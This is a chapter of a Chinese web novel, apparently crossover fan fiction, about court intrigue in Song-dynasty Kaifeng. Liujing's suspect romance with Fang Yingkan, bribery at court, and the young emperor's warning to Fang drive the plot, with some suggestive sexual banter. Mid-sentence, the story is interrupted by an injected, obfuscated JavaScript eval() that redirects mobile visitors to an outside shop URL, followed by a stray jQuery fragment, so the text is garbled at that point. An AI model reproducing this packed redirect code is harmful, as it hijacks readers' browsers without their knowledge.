谎言不会伤人,真相才是快刀。
流景看上去更难过了,更难过的还在后面。
“什么!”她猛地抬起头,“你还要我和方应看继续保持这种关系?和他虚与委蛇?”
她的脸都快绿了,“我现在都担心我见了他会忍不住掐死他!”
容与眼珠子一转,仿佛是她肚里的蛔虫,“我以为你应该和他习惯了虚与委蛇了,不然你们勾搭上那么久了,你怎么还是个处子。”
流景当然是经验丰富的那一类,但这具身体在设定上还是个雏。本来应该惊讶的是流景,然而比流景更惊讶的是小皇帝。
“你三天两头去他家住,动不动就啃一起,竟然还没有本垒打?”小皇帝的声音拔高了半个调,“是柏拉图?那更不可能了,你连脚上都有痕迹,总不会是他中看不中用吧?”
正常人被说到这方面的事情会很尴尬,但流景可不是啥正经人,她开始为方应看“洗白”——也为自己的癖好作证。
“虽然没有正式进入过,但就这段时间的体外体验感来看,持久度还是很不错的。”
说到色色,两个人都来劲了。
小皇帝从椅子上坐直了,双手撑在膝盖上,眼睛亮晶晶的,像一只蹲在墙头看热闹的猫。流景见他来劲了,自己也来了劲。她正被容与和小皇帝两个人堵着一路追击,她不想就此认输,好歹找个同伙拖下水。
“既然生理上没有问题,”小皇帝托着腮,“那他为什么不——”他没有说完,只是做了一个手势。
谈及这个流景也很纳闷,最开始她以为是方应看真君子,不想酒后趁人之危。可野外打猎那几次同乘一骑的经历又不像。回汴京之后她主动了几次,她都准备放弃了,这人突然就开窍了。虽然一直恪守原则不肯进行最后一步,但体外玩法可谓是花样频出。她又是个包容性很强的人,方应看能让她快乐,她也不介意包容他一些无伤大雅的癖好。
小皇帝听她说完,若有所思地点了点头,“那他是图什么?图一时爽快,还是图——不对啊,要真是图一时爽快,也该更进一步了。”
容与在旁边听不下去了,他放下茶盏,手指在盏沿上轻轻叩了一下。“你们就没听过你们的流言?有没有想过是因为——”他冲着小皇帝的位置扬了扬下巴。
“方应看你个哗——”(脏话消声)
过了一会儿,小皇帝也反应过来了。他的脸色也是奇奇怪怪的,作为一个男性,他不能理解方应看的操作。
“他有这个……他还真可能有这个胆子。”
按原著的说法,如果朱月明说的方应看的案底都是实话,那方应看真干过qj后宫嫔妃的事。虽然那是死鬼徽宗的后宫,但不代表他能接受一个无辜的女性遇难。流景又气又恼,忍不住把这份情绪带到了当下。
“他现在的胆子也挺大的。”
流景已经大概猜明白方应看的脑回路了,更加生气了。
一个是不想得罪小皇帝,才不肯越线。另一个是怕被人捉住把柄,所以做贼心虚。她本以为自己对他的了解已经够深,现在看来全是狗屁。她在心底又骂了一遍方应看,又骂了一遍自己。那些甜言蜜语、那些教她练剑时贴在她耳后的温存、那些在榻上被她唤着名字时他红透的耳廓,全是装出来的。他看她的眼神里的眷恋和贪恋是真的,但他伸出去的手总会在碰到最后一层衣料前停住。
她那时候以为是尊重,此刻才知道是算计。
不是说过“男人可以不择手段但不能下作”嘛。哦,那是方承意说的。方承意知道自己原型是这种货色,会想把人砍了的吧!
自己竟然还拿那些东西去撩拨方应看,真是满满的黑历史啊!
啊,更想砍了方应看了。
“也是,他现在和你就是在——”秽乱后宫。
小皇帝识趣地没有把话说完,不然流景可能会先打他。
真不能怪小皇帝和流景没往这方面想,他们之间的情谊是铁血纯友谊,所以他乐见流景和方应看搞暧昧——压力太大总得找点消遣。他甚至无所谓成为他们play的一环,但这一切在外人眼里就不是那么回事了。
小皇帝又有些庆幸原主赵构还没有娶亲,徽宗死后,从法理上他要守孝三年,后宫也是空无一人。要不然以流景和方应看的猖狂程度,早晚会出现瓜六的名场面——臣妾要告发阳女官私通,秽乱后宫,罪不容诛。
那他该怎么处理呢?嘶——不能再脑补了。
流景已经很生气了,她的手指关节拧得咔咔作响,看样子的确需要一些时间去接受。
流景离开后,翠寒堂里安静了一会儿。
水激扇车还在嗡嗡地响,冷风从四角的铜管里送出来。小皇帝坐在案后,拿起那盏被浇过茶水的朱笔,在指尖转了一圈,又放下了。
“你似乎很看好方应看。”他看着容与,“你一直都在帮他说话。你不会收了方应看的钱吧?”
容与坦然承认,“是收了。这朝堂之上有几个人没收过方应看的钱?”他看了一眼小皇帝,“别告诉我你没收。”
小皇帝不说话了,他可没少收方应看的钱。那些“神通侯府送来的节礼”,那些“替陛下分忧解难的捐银”,每一笔都恰到好处,不多不少,刚好让他不能不收,也不能拒绝。
容与也不需要小皇帝的回答,他垂下眼睛,看着自己面前的茶盏,茶汤碧绿,映着他的眉眼。他开口的时候,声音比方才轻了些,像是在跟小皇帝说话,又像是在跟自己说话。
“我相信的不是方应看”他说,“是爱,我想看一看,爱的力量到底得有多强大,才能让一个恶贯满盈之辈金盆洗手、重新做人。”
他的思绪似乎又回到了很久以前的那一天,那时的流景和栖梧连胚胎都还没有出现,他已经想不起来他当时脸上的表情了。
他的生物学上的父亲——那个曾经数次掀起宇宙级别规模大战、最后败于他弟弟手上的男人——贝利亚,他要结婚了。要娶的对象是一个十六岁的小姑娘,比他和弟弟小陆都还小上不少,他当时的第一反应是这其中是不是有什么阴谋。
然后他发现,没有阴谋,就是遇上了真爱。那时他的心底就萌生了一个念头——若是恶贯满盈之辈肯为爱悔改,那高高在上的女神又是否能够低下高贵的头颅,去注视为她悔改之人呢?
如果这一切都能成立,那他是不是也可能像流景和栖梧一样,带着爱来到这个世界上呢?
他收回思绪,落在窗外那片被雨水洗过的天空上,“方应看,希望你给力一点。”
小皇帝听得满头黑线。
大哥,你都多大人了,既然还相信爱的力量这一套?咱们这不是儿童片场,按血腥程度,咱们这个片场可是妥妥的R18级。
不过他没有说出口,容与很少露出这种表情,他把那些话说出来的时候,眼底有一种很复杂的东西——不是期待,是一种“我想知道答案”的、不带任何功利心的好奇。
小皇帝看着他,他忽然觉得,容与不是在赌方应看会不会变好,他是在赌——爱本身到底有没有意义。
他不再想了。
“流景现在状态不行,我怕她真的忍不住把人干掉,安排她下一趟江南吧,正好在江南地区开几个《大宋日报》的分部。”
“正好,江南的豪门望族也不少。”小皇帝从案头取出一张红色的请帖,递给容与,“我这有个机会,让流景去探探路,说不定还能有一点来自海上的意外收获。”
容与看了一眼,嘴角弯了一下,“我就知道你还是有一颗武侠心的。”
小皇帝叹了口气,靠在椅背上,仰头看着水殿的藻井。藻井上绘着云纹,层层叠叠的,像另一片天空。“外面的世界那么美好,为什么这开封BT漫天飞啊?”
容与顺手搂住小皇帝的肩,把他往自己这边带了带,“谁让这综了□□安呢?”
小皇帝拍开他的手。
“不过——”容与松开他,语气恢复了那种随意的调子,“我在杭州有一位故人,我曾经给她治过病,不知她的身体恢复得如何,正好让流景帮我走上一趟。而且她家还有一个大帅哥,让她帮忙牵牵线,转移一下流景的注意力。”
“帅哥?”小皇帝来了兴趣,“有多帅?”
真不是他夸大,抛开人品不谈,方应看的皮囊绝对是上上乘,汴京没几个能比得上他的。被方应看养刁了嘴的流景,还能看得上别的男人吗?
“我没见过他,不过从设定上看,他的外貌和方应看是一个级别的,而且不是一个风格的。”容与想了想,还真不是他的情报系统不给力,此人平易近人的通告满天飞,不过普通人想见上一面着实困难。
“江南的?异地恋不好吧!”
“本地的。”
小皇帝想了一会儿,本地人,长得不比方应看差,还不是一个风格的……
他眼睛一亮,“无情?”
容与被噎了一下,“对一个残疾人好点吧!”别霍霍人家了。
小皇帝讪讪地摸了摸鼻子,“我随便说说。”
流景离开汴京的事,只有几个人知晓.她的行踪被抹得干干净净,连神通侯府的人都没能查到她去了哪里。那些平日里在她住处附近蹲守的眼线,一夜之间全部失效了,仿佛她从汴京城凭空蒸发了一样。
方应看发现这件事的时候,正在看景阁里等她,他等了一整天,她没有来。
第二天,他派人去打听,得到的回复是“阳女官奉旨出京公干,归期未定”。
第三天,第四天,他动用了所有能用的关系——宫里的眼线、有桥集团的情报网、甚至“金字招牌”的渠道,全部石沉大海,每一次打探的结果都是“不知道去了哪里、不知道什么时候回来”。
他忽然感到一种从未有过的恐慌。他失去了皇帝身边这个耳目。他不知道朝堂上的风向会不会变,不知道那些他精心编织的网会不会被人从外面撕开。
更让他不安的是——流景走之前,没有来见他。没有留话,没有写信,没有任何只言片语。像一阵风,吹过去就散了,连痕迹都没留下。
他坐在书房里,面前摊着一本翻到一半的书籍,但他一个字也没有看进去。他的手指搭在桌面上,没有敲,只是搭着。流景的消失太突然了,突然到他来不及反应。
召见来得比他预想的快。
来传旨的是米有桥的徒弟,小太监低着头,弓着腰,声音又尖又细:“侯爷,官家请您入宫。”
方应看垂下眼睫,掩住眼底的暗流,“公公可知,陛下召见所为何事?”
小太监摇了摇头,“奴才不知。不过陛下今日心情不错,正在后苑练箭。”
心情不错,方应看把这个词在舌尖上转了一圈,没有品出味道。
他到地方时,小皇帝正在练习射箭。翠寒堂外的校场上,靶子立在百步之外,小皇帝穿着窄袖骑装,搭弓拉弦,姿态端正,专注而认真。
箭矢破空,正中靶心。他看上去心情确实不错,只是身边少了时常相伴的那个人影。
方应看在台阶下站定,恭敬地俯身行礼,“臣方应见,参见陛下。”
小皇帝没有让他平身。
小皇帝没有回头,他的箭尖还指着靶心。“方卿来了。”语气很随意,像在跟一个老朋友打招呼,但他的箭没有放下来,“朕今日听闻了一桩流言,似乎与方卿有关。”
方应看弯着腰,看不清小皇帝的表情,但小皇帝的话语间有种挥之不去的冷意。那冷意不是愤怒,是一种更远的、像隔着一层冰在看人的冷。他的额头渗出一层细密的汗。
小皇帝抽出一支箭,搭在弦上。箭身打磨得很光滑,箭羽是灰白色的,在阳光下泛着柔和的光。
“听闻先帝在时,方卿看上了一个已经有婚约的女子。”他的声音很轻,像在说一件无关紧要的事,“于是留了那个女子一晚,后来那个女子的未婚夫怀疑,那女子羞愤之下跳水而亡。”
方应看的心口像是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697312|205530||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
被人狠狠攥了一下,“此等谣言皆为无稽之谈。”
他的声音还算稳,但后背已经沁出了一层薄汗。是哪个不长眼的把这等谣言传到官家面前的?他已经在心里把所有可能的人选过了一遍,又觉得小皇帝小题大做。蔡京、童贯等人可比他过分多了,怎么不去找他们?
小皇帝搭弓,拉弦。
弓身被拉成满月,发出细密的吱呀声,像一声被压到极致的叹息。
方应看听到了那把好弓被拉开的声音,只是——箭矢的箭头是指向他的。他能感觉到那一丝极细的杀意,顺着箭镞的寒光,落在他的眉心。
他强行忍住起身躲避的动作,把心一横,双膝落地,俯身叩首,额头抵着冰凉的石板,“官家明鉴,此等恶意中伤之言,是有心人在挑拨是非啊!”
紧接着是风声啸响与箭矢破空。
箭矢正中靶心,箭尾的羽翎还在微微颤动。小皇帝射箭向来不准,他自己知道。但这一箭稳稳落进靶心,他感叹自己竟然练出水准来了。他只是想着——箭在弦上不得不发,放空弦不仅伤弓还易伤己,这一箭是必须射出去的,只不过被他临时转了个方向。
方应看听到了小皇帝的轻笑声,“也是”小皇帝的声音温和了些,“方卿年少有为,什么样美貌的女人得不到,何必威逼一个良家妇女呢?”
方应看心里掠过一阵冷意,他是不是知道什么了?皇帝的眼睛竟然好了?自己和流景的事事发了?
那突然消失的流景呢,是不是已经……
不可能,阳容与都还好好的,流景最坏的结果也只能是被关押。他手上还有一枚免死金牌,皇帝才刚登基一年,三年不改父志。还有义父义母——义母马上就要进京了,义母最疼他。
他去求她,一定能保住流景。
小皇帝走近了。靴面停在他眼前,“本朝自太祖开国,太祖深知‘上马得天下,下马治天下’的道理,推行‘右文’政策,成了我大宋文治的开端。”他的声音不高不低,像在念一篇他背过很多次的文章。“熙宁四年,文彦博反对王安石变法,向神宗谏言:‘祖宗法制具在,不须更张,以失人心。’神宗问他:‘更张法制,于士大夫诚多不悦,然与百姓何所不便?’文彦博回答:‘为与士大夫治天下。’”
方应看弯着腰,不知道小皇帝为什么要说这些。
小皇帝停了一下,似乎在等他反应。方应看没有动。“方卿博学多才,一定读过《礼记·大学》吧?”
方应看虽然不明白他在搞什么,但还是老老实实回答:“读过。”
“格物、致知、诚意、正心、修身、齐家、治国、平天下,这‘八条目’不知方卿做到了几条?”
方应看没有回答,他想说“臣愚钝”,想说“臣正在努力”,但他的嘴张了一下,又合上了。因为他知道,无论他说什么,都无法让他起身。
也没等方应看回答,小皇帝就自顾自地继续说下去,像在跟他自己说话。“我最喜欢的是这一句:‘自天子以至于庶人,壹是皆以修身为本。’”他顿了顿,“方卿,朕知晓你的志向,只是修身不可忘啊。”
皇帝走了,脚步声渐远,靴底踩过青石板的声音越来越轻,越来越远。
方应看还跪在地上,额头贴着地面。他的手撑在身侧,指节泛白,指尖微微发抖。阳光落在他脊背上,他趴在地上的影子像一张被压扁的弓。
他跪了很久,久到膝盖开始发麻,久到腿上的血都瘀了,才慢慢直起身。
他站起来,拍了拍衣袍上的灰,那张脸上没有了惯常的温雅笑意,是一种空白、像面具被人摘下来之后露出的什么都没有。
他转身,一步一步走出靶场,身后那只箭还钉在靶心正中,箭尾的羽毛还在微微颤动。他在想那句“修身不可忘”——他这是什么意思?他知道什么了?他在警告他什么?他的手在袖中慢慢攥紧了,指节泛白。
回到自己住所的小皇帝一下子就放松了下来,他把自己扔进椅子里,伸直腿,长长地吐出一口气。然后他开始复盘自己刚刚的操作有没有失误——语气够不够冷?箭射得够不够准?那句“修身不可忘”说得到不到位?他在脑子里把自己刚才的表现过了一遍,然后满意地点了点头。
自己一定帅爆了!
可兴奋之余,他又有些惆怅。
为与士大夫治天下,后面还有半句——非与百姓治天下。
他想起那一页在书卷里翻到过的文字——与百姓治天下,能做到此事的人,华夏五千年来只此一人。
只是……
“还有八百多年嘛……”他轻声说,目光落在窗外的雨幕上,“真的好远啊。”
回到马车上的时候,方应看已经恢复了冷静。他靠在车壁上,闭着眼睛,手指搭在膝盖上,没有敲,只是搭着。过了好一会儿,他睁开眼睛,眼底已经没有了方才的空白,只剩下一种快速计算后的、冰凉的光。
“彭尖。”
“属下在。”
“今晚包下醉杏楼,让白牡丹亲自作陪。”他顿了顿,“帮我给阳兄发帖子,请他务必前来。”
彭尖应了一声,正要退下,又被叫住了。
“等等。”方应看沉默了片刻,“除了白牡丹,还有没有其他有名的妓子?”
彭尖摸不清方应看的路数,还是老实回答:“有,与李师师齐名的还有徐婆惜、封宜奴、孙三四等人。”
“那就全给我叫上”方应看放下车帘,“今晚,我要宴请贵客。”
彭尖领命退下,马车缓缓启动,轮子碾过青石板,发出沉闷的声响。方应看靠在车壁上,折扇在指间慢慢转了一圈。
醉杏楼的帖子送到时,容与正在看一份刚刚送到的边防塘报。
他看到帖子的落款,嘴角慢慢弯起一个弧度,比想象的还要沉不住气呢,还是太年轻了。
他把帖子折好,收进袖中,不过越年轻对他越有利。
话说回来了——“小甜水巷,还真没去过呢。”